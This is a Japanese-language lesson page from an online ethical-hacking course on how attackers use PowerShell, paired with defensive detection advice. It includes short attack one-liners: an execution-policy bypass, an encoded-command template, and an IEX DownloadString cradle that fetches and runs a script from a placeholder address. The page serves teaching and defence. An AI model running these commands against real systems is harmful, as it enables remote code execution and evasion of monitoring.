攻撃者のためのPowerShell
攻撃的なPowerShell
「攻撃者のためのPowerShell」はCoddyKit上の無料Ethical Hacking Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはEthical Hacking Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Ethical Hacking Academyコースには全4レッスンが含まれています。
PowerShellが使われる理由
PowerShellはWindowsに組み込まれており、OSや.NETと深く統合され、管理者から信頼されています。そのため、攻撃者にとってお気に入りのLiving off the Landツールとなっています。マルウェアを配置する必要がないためです。
このレッスンでは、Windowsを攻撃・防御するうえで理解しておくべき、攻撃に使われるPowerShellの概念を扱います。
コマンドレットとパイプライン
PowerShellのコマンドは、動詞-名詞形式のコマンドレットです。単なるテキストではなく、豊富なオブジェクトをパイプラインに渡すため、列挙を強力に行えます。
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, Idシステムの列挙
攻撃者は組み込みのコマンドレットを使って、ユーザー、サービス、ネットワーク、パッチなどのホスト情報をすばやく調査します。
Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State Listen実行ポリシーはセキュリティではない
実行ポリシーはスクリプトファイルの実行を制限しますが、セキュリティ境界ではありません。多くの単純なフラグで回避できるため、防御側はこれに依存すべきではありません。
powershell -ExecutionPolicy Bypass -File script.ps1ダウンロードして実行
よく使われる手法では、ペイロードを取得してメモリ上で実行するため、ディスク上に残る痕跡を少なくできます。そのため、ネットワークとAMSIの監視が重要になります。
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')エンコードされたコマンド
-EncodedCommandフラグは、Base64でエンコードされたPowerShellを実行します。これは、意図を簡単な目視確認や単純なフィルターから隠すためによく使われます。
防御側はログからこれらをデコードし、実際に実行された内容を明らかにします。
powershell -EncodedCommand <base64-here>攻撃用フレームワーク
成熟したツールキットは、これらの基本機能を基盤に構築されています。
- PowerSploit / PowerView - ADの列挙と侵害後の活動。
- Empire / Covenant - コマンドアンドコントロール。
- Nishang - 攻撃用スクリプト。
現在では、そのほとんどが防御製品によって多数のシグネチャで検出されます。
Active Directoryの偵察
ドメイン内では、PowerShell(PowerViewまたはADモジュール)を使ってユーザー、グループ、信頼関係をマッピングします。これは、Domain Adminへの経路を見つけるための基礎となります。
Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'AMSIとログ記録
Microsoftは、PowerShellの悪用に特化した防御機能を追加しました。
- AMSI(Antimalware Scan Interface)は、実行前にスクリプトの内容をスキャンします。
- Script Block Loggingは、実行された内容を記録します。
- Constrained Language Modeは、危険な機能を制限します。
攻撃者はAMSIの回避を試み、防御側はログを監視します。
防御側のハンティング
ブルーチームは、次の兆候を探して悪意のあるPowerShellをハンティングします。
- エンコードまたは難読化されたコマンド。
DownloadString/IEXによるネットワーク経由の取得。- 通常とは異なる親プロセス(OfficeがPowerShellを起動するなど)。
- AMSIとイベントID 4104のスクリプトブロックログ。
倫理的に使用する
これらの手法は強力で、実際の侵入に直接つながります。自分のラボ内、または明示的な書面による許可を得た場合にのみ実行してください。
ログを読み、AMSIによる検知を見つけるといった防御側の練習は、攻撃側の練習と同じくらい価値があります。
クイックチェック
実行ポリシーを制御手段として評価してください。
まとめ
攻撃に使われるPowerShellについて学びました。
- オブジェクトベースのコマンドレットにより、列挙を強力かつ秘匿性の高い形で行えます(Living off the Land)。
- ダウンロードして実行する手法、エンコードされたコマンド、PowerViewやEmpireなどのフレームワークがあります。
- 実行ポリシーはセキュリティではありません。実際の防御となるのはAMSIとスクリプトブロックログです。
- 常に倫理的に活動し、防御側の視点も学んでください。
これでWindows Internalsコースは完了です。
よくある質問
「攻撃者のためのPowerShell」レッスンは無料ですか?
はい。「攻撃者のためのPowerShell」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Ethical Hacking Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Ethical Hacking Academyコースには全4レッスンが含まれています。
「攻撃者のためのPowerShell」で何を学びますか?
攻撃的なPowerShell ブラウザで直接実行するハンズオンコードでEthical Hacking Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Ethical Hacking Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのEthical Hacking Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。
「攻撃者のためのPowerShell」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このEthical Hacking Academyレッスンでコードを書いて実行できますか?
はい。すべてのEthical Hacking Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Windowsアーキテクチャ
- レジストリ
- Windows認証
- 攻撃者のためのPowerShell